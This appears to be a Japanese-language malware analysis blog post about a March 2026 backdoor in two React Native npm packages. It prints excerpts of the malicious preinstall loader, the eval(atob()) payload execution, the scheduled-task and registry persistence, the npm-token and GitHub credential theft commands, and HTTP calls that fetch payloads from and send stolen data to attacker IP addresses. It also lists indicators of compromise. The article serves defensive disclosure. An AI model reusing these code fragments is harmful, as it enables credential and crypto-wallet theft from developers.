Aikido

Glasswormが人気のReact Native電話番号パッケージを攻撃

執筆者
Raphael Silva

2026年3月16日のリリースでは、同じパブリッシャーのパッケージに難読化されたプリインストールマルウェアが追加されました。

2026年3月16日、からの2つのReact Native npmパッケージが AstrOOnauta 協調的なサプライチェーン攻撃によりバックドアを仕掛けられました。両方のリリースには、同一のインストール時ローダーが追加されており、これは、多段階のWindowsクレデンシャルおよび暗号資産窃取マルウェアをフェッチして実行し、通常の操作によってトリガーされます。 npm install. 影響を受けたパッケージは次のとおりです。 react-native-country-select@0.3.91 そして react-native-international-phone-number@0.11.8.

いずれのケースでも、悪意のあるコードは新しいを介して導入されます。 preinstall フックです。これは、開発者、CIランナー、ビルドエージェントがパッケージをインストールするだけでマルウェアをトリガーできることを意味します。

マルウェアが使用するのと同じチェーンを追跡することで、ライブのステージ2アーティファクトを回収し、後続のペイロードを復号しました。このより深いペイロードは、Windowsに特化した暗号資産およびクレデンシャル窃取マルウェアであり、永続性を持ち、追加コンポーネントを配信する能力を備えています。

2026年3月16日、npmダウンロードAPIはの過去1週間のダウンロード数を9,072件と報告しました。 react-native-country-select およびのダウンロード数は20,691件 react-native-international-phone-number、合計で週あたり29,763件のダウンロードがありました。過去1ヶ月間では、同じAPIはそれぞれ42,589件と92,298件のダウンロードを報告し、合計で月あたり134,887件のダウンロードがありました。

何が起きたのか

私たちが確認した以前の隣接バージョン react-native-country-select@0.3.9 そして react-native-international-phone-number@0.11.7は、を含んでいません。 preinstall フックを含まず、悪意のあるインストーラーも同梱していません。2026年3月16日のリリースでは、両方が追加されています。

タイムライン:

  • react-native-international-phone-number@0.11.8 2026年3月16日10:49:29 UTCに公開されました。  
  • react-native-country-select@0.3.91 2026年3月16日10:54:18 UTCに公開されました。  
  • 両パッケージの以前の隣接バージョンは、2026年3月13日に公開されました。

このパターンは、同じ発行元からの複数のパッケージに影響を与える同日侵害の可能性を示唆しています。

マルウェアの仕組み

ステップ1:インストール時の実行

両方の悪意あるリリースは、同じパッケージライフサイクル・フックを追加します。

"scripts": {
    "preinstall": "node install.js"
}

会社情報 install.js ファイルは難読化されており、外部インフラストラクチャにアクセスし、セカンドステージのペイロードを取得して動的に実行します。

元の出荷されたインストーラーは、Solana RPCのフェッチを直接示しています。

let y = await fetch(S, {
    'method': e(0x45b, 'nSeb', 0x48f, 0x42b),
    'headers': M,
    'body': JSON[d(0x473, 'kjpv', 0x42d, 0x471)]({
        'jsonrpc': e(0x42c, ')qo^', 0x477, 0x425),
        'id': 0x1,
        'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3, 0x4d3),
        'params': [H[d(0x50d, '%Rah', 0x527, 0x4f7)](), t]
    })
});

同じ元のファイル内で、インストーラーは取得したペイロードを実行します。

if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {
    eval(atob(u));
    return;
}
if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'WZok', 0x4f8, 0x543)) {
    let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');
    eval(atob(u));
}

これは、パッケージインストール中の段階的なコード実行です。

ステップ2:ロシア語ロケールチェック

インストーラーはどこでも無差別に実行されるわけではありません。実行前にロシア語の言語およびタイムゾーンシグナルに対する明示的な環境フィルターが含まれています。元の出荷コードでは、次のような値を確認します。 ru_RU, ru-RU, Russian、および russian:

let n = [
  h['userInfo']()[k(-0xe4, 'nhpn', -0x109, -0xd4)],
  process[k(-0x10f, 'A0gN', -0xf6, -0x151)][B('Fhk]', 0x6cb, 0x636, 0x675)],
  process[B('uKoI', 0x5e9, 0x5b4, 0x5f0)]['LANGUAGE'],
  process[k(-0x100, 'aiAw', -0x139, -0x124)]['LC_ALL'],
  Intl[
    B('uxDz', 0x698, 0x5f4, 0x648) + k(-0x135, 'sDd5', -0xe9, -0x108)
  ]()[k(-0xdd, 'apC#', -0x98, -0xb0) + 'tions']()[k(-0xf9, '94Hn', -0xcb, -0xc5)]
][k(-0xf7, '8MCe', -0xa4, -0xc0)](
  u => u && /ru_RU|ru-RU|Russian|russian/i[B('hcSr', 0x666, 0x6a5, 0x654)](u)
);

同じブロックでは、ロシアに関連するタイムゾーン名とUTCオフセットもチェックされます。このような地理的または言語的な除外は、特にロシアまたはロシア語圏の脅威アクターによる犯罪マルウェアで一般的です。

ステップ3:Solanaメモの取得とステージ2の配信

私たちはマルウェアと同じ手順を実行しました。

  1. 難読化されたインストーラーからSolanaアカウントを抽出します。  
  2. 同じものをクエリします getSignaturesForAddress パッケージが使用するRPCメソッド。  
  3. base64エンコードされた情報を含むトランザクションメモを復元します。 リンク.  
  4. そのURLを不活性なコンテンツとして取得し、HTTPレスポンスヘッダーを保持します。  
  5. 返されたボディをデコードし、次のレイヤーを静的に検査します。  
  6. 返されたものを使用します secretkey そして ivbase64 値を使用して、埋め込まれたペイロードを実行せずに復号します。

取得されたステージ2のレスポンスは、次のレイヤーを復号するために必要な素材を正確に提供しました。

secretkey: szfNmayz6fgt6ojbAuVhjEAOWMMxw7iS
ivbase64: ZMM7q5jBwUbsYFo7/8ZdxA==

復元されたステージ2のURLは次のとおりでした:

http://45[.]32[.]150[.]251/3e4Tg8V%2F8aCmOJKipASADg%3D%3D

そして、取得されたステージ2のボディは、別のオリジナルの復号スクリプトとして始まります:

var crypto=require("crypto"),d=crypto.createDecipheriv("aes-256-cbc",secretKey,_iv),b=d.update("e44249441ac275c58c208f8011873821...

ステップ4: 復元された第三段階が永続化し、さらなるコンポーネントを取得する

AESで復号されたペイロードは、復元された第三段階です。ここでこのチェーンは、Windowsに特化した情報窃取マルウェアおよびダウンローダーになります。

永続化は~を介して設定されます。 schtasks および 実行します レジストリキーです。

schtasks / create / tn "UpdateApp" / tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" / sc onstart / rl highest / f$rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
$randomName = "DPKCbbQ"
$command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
New - ItemProperty - Path $rPath - Name $randomName - PropertyType String - Value $command - Force

また、~を書き込みます。 ~\\init.json 状態ファイルを書き込み、それを永続化および実行ガードとして再利用します。

const duplicate = path.join(LnwdVr, 'init.json');
...
fs.writeFileSync(duplicate, JSON.stringify({
    init: true,
    update: null,
    date: new Date().getTime(),
    version: '2.27',
    uuid: data?.uuid ? data.uuid : makeid(14)
}));

ステップ5: 第三段階がGoogleカレンダーをさらなる間接層として使用する

Google CalendarのURLは、回収された第3段階のJavaScript内で後から現れ、その第3段階はこれを使用します。 calendar.app.google base64エンコードされたスラッグを復元し、さらに別のスクリプトをリクエストする前に。 45[.]32[.]150[.]251.

これが元のコードです:

QGrJayHbkY(atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlLzJOa3JjS0tqNFQ2RG40dUs2'), (err, link) => mzIcfsRBX(atob(link), mzIcfsRBXCall));
...
http.get('http://45.32.150.251' + slug, (res) => {

したがって、順序としては、チェーンは次のようになります:

  1. npm preinstall 実行されます install.js  
  2. install.js Solana RPCにクエリを実行し、第2段階を取得します。  
  3. 第2段階は第3段階を復号し、実行します。  
  4. 第3段階はGoogle Calendarにアクセスします。  
  5. 第3段階は復元されたスラッグを使用して、追加のコンテンツを取得します。 45[.]32[.]150[.]251

その間接的な手法は、チェーンの後段階でオペレーターに柔軟な制御ポイントを与えるため重要です。これにより、npmパッケージを再公開することなくダウンストリームパスを変更でき、Googleが所有するURLを使用することで、チェーンが通常のトラフィックに紛れ込むのに役立つ可能性があります。

これは、より広範な研究の文脈でも興味深い点です。昨年、Google Calendarの招待とPUAを介したマルウェア配信に関する記事を公開しました。詳細はこちらをご覧ください: ご招待!Google Calendarの招待とPUAを介したマルウェア配信

証拠

最も強力な証拠は、両方のパッケージに導入されたローダーがバイト単位で同一であることです。その install.js ファイルは両方の悪意あるリリースにおいてSHA-256ハッシュ値が次のとおりです:

59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26

バージョンの差分も異常なほどクリーンです。両方のパッケージにおいて、悪意ある動作は同じ2つの変更によって導入されています。

  • 新しい install.js  
  • 新しい preinstall のエントリ package.json

については react-native-country-select、悪意あるジャンプはから行われます。 0.3.9 to 0.3.91.

については react-native-international-phone-number、悪意あるジャンプはから行われます。 0.11.7 to 0.11.8.

ある詳細が、このケースをさらに興味深いものにしています。 react-native-international-phone-number@0.11.8 に依存しています react-native-country-select@0.3.9、これは以前のクリーンな隣接バージョンであるように見え、悪意あるものではありません。 0.3.91。これは、2番目のパッケージも、単に依存関係の更新から問題を引き継いだのではなく、直接バックドアが仕掛けられたことを示唆しています。

回収されたペイロードの機能

回収された第三段階のペイロードは、Windowsを標的とした情報窃取型ダウンローダーです。

初稿で強調しきれなかった点として、このペイロードは単にいくつかのウォレットファイルを窃取して終わるわけではありません。独自の実行環境を構築し、ブラウザ関連のストレージパスを探索し、被害者プロファイルの下で収集用のデータをステージングします。

その後、追加コンポーネントをダウンロードし、バンドルされた .node ファイルを復号して実行し、ステージングされた収集データを外部に送信します。

http.get("http://45.32.150.251/get_arhive_npm/KQnO9LyllbN0ZfDWq8afrQ%3D%3D", (res) => {
...
childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`, (err, _2) => {
...
const options2 = {  hostname: "217.69.3.152",  port: 80,  path: "/wall",  method: "POST",

このペイロードには、MetaMask、Exodus、Atomic、Guarda、Coinomi、Daedalus、Braavos、OKX Wallet、Trust Walletなどのブラウザ拡張機能およびデスクトップウォレットを標的とするロジックが含まれています。また、npmおよびGitHubの認証情報も窃取します。

const token = childProcess.execSync(`npm config get //${registry.replace(/^https?:\/\//, "")}:_authToken`).toString().trim();
...
const output = childProcess.execSync("git credential fill", {  input: "protocol=https\nhost=github.com\n\n",  encoding: "utf8"});

この時点までに、回収されたペイロードは完全な認証情報およびウォレット窃取チェーンとなっています。

その他の考察

回収された第三段階のペイロードは、完全なNode.jsランタイムを nodejs.orgから、x86版とx64版の両方を %APPDATA%\\_node_x86 そして %APPDATA%\\_node_x64にダウンロードします。これにより、被害者システムにNode.jsがインストールされていなくても、マルウェアは信頼性の高い実行環境を得ることができます。

const urlX86 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip";
const urlX64 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip";
const folderPathX86 = path.join(process.env.APPDATA, "_node_x86");
const folderPathX64 = path.join(process.env.APPDATA, "_node_x64");

このペイロードは、ブラウザ関連のプロファイルストレージも探索します。回収されたJavaScriptでは、 User Data そして Firefox ディレクトリを検索し、ブラウザプロセスを終了させた後、それらの場所から標的となるウォレットおよび拡張機能のストレージをコピーします。

var globalGBvJwwhfind = ["User Data", "Exodus", "atomic", "Electrum", "Guarda", "Coinomi", "Daedalus Mainnet", "Firefox"];
...
const out = childProcess.execSync(`tasklist /FI "IMAGENAME eq chrome.exe"`);
...
const firefox = childProcess.execSync(`tasklist /FI "IMAGENAME eq firefox.exe"`);
...
if (file.name.includes("Local Extension Settings") && depth < 3) {
    t.push(filePath);
}

これは、Chromium系ブラウザプロファイルおよびFirefox関連パスからの窃取と一致します。回収されたスクリプトには、MetaMask、Phantom、Coinbase、Rabby、OKX Wallet、Braavos、Trust Walletなどの拡張機能識別子、およびデスクトップウォレットストレージパス(例: exodus.wallet, wallets、および Local Storage\\leveldb.

まとめ

このケースは、同日に同じパブリッシャーからリリースされた少なくとも2つのReact Nativeパッケージに影響を与えた、協調的なnpmサプライチェーンイベントのように見えます。最も重要な詳細は、両方のリリースが悪意のあるものであるだけでなく、同じ方法で、数分以内に、同じステージングされたローダーで改変されていたことです。

ステージングされたチェーンを追跡することで、その影響がはるかに明確になります。このインストーラーは、単にビーコンを送信したり環境をテストしたりするだけでなく、永続化し、追加コンポーネントをダウンロードし、ウォレットデータ、npmおよびGitHubの認証情報を窃取し、収集したアーカイブを攻撃者が制御するインフラストラクチャに持ち出す、復号化されたWindowsペイロードへとつながります。

侵害の痕跡

悪意のあるパッケージ:

  • react-native-country-select@0.3.91  
  • react-native-international-phone-number@0.11.8

共有ローダーハッシュ:

  • 59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26

関連ドメイン:

  • socket[.]network  
  • n[.]xyz  
  • p[.]link  
  • 45[.]32[.]150[.]251  
  • 217[.]69[.]3[.]152  
  • calendar[.]app[.]google/2NkrcKKj4T6Dn4uK6

検出と保護

すでにAikidoをご利用の場合、これらのパッケージはフィード内で100/100の重大な検出結果としてフラグ付けされます。

まだAikidoをご利用ではありませんか? 無料アカウントを作成し、リポジトリを連携してください。無料プランには、マルウェア検出機能が含まれています(クレジットカードは不要です)。

最後に、サプライチェーンマルウェアが出現した際にリアルタイムで阻止できるツールは、深刻な感染を防ぐことができます。これがAikido Safe Chainの背後にある考え方です。これは、npm、 npx、yarn、pnpm、pnpxをラップする無料のオープンソースツールであり、AIと人間のマルウェア研究者の両方を利用して、最新のサプライチェーンリスクが環境に侵入する前に検出・ブロックします。

共有:

https://www.aikido.dev/blog/glassworm-strikes-react-packages-phone-numbers

脅威ニュースをサブスクライブ

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。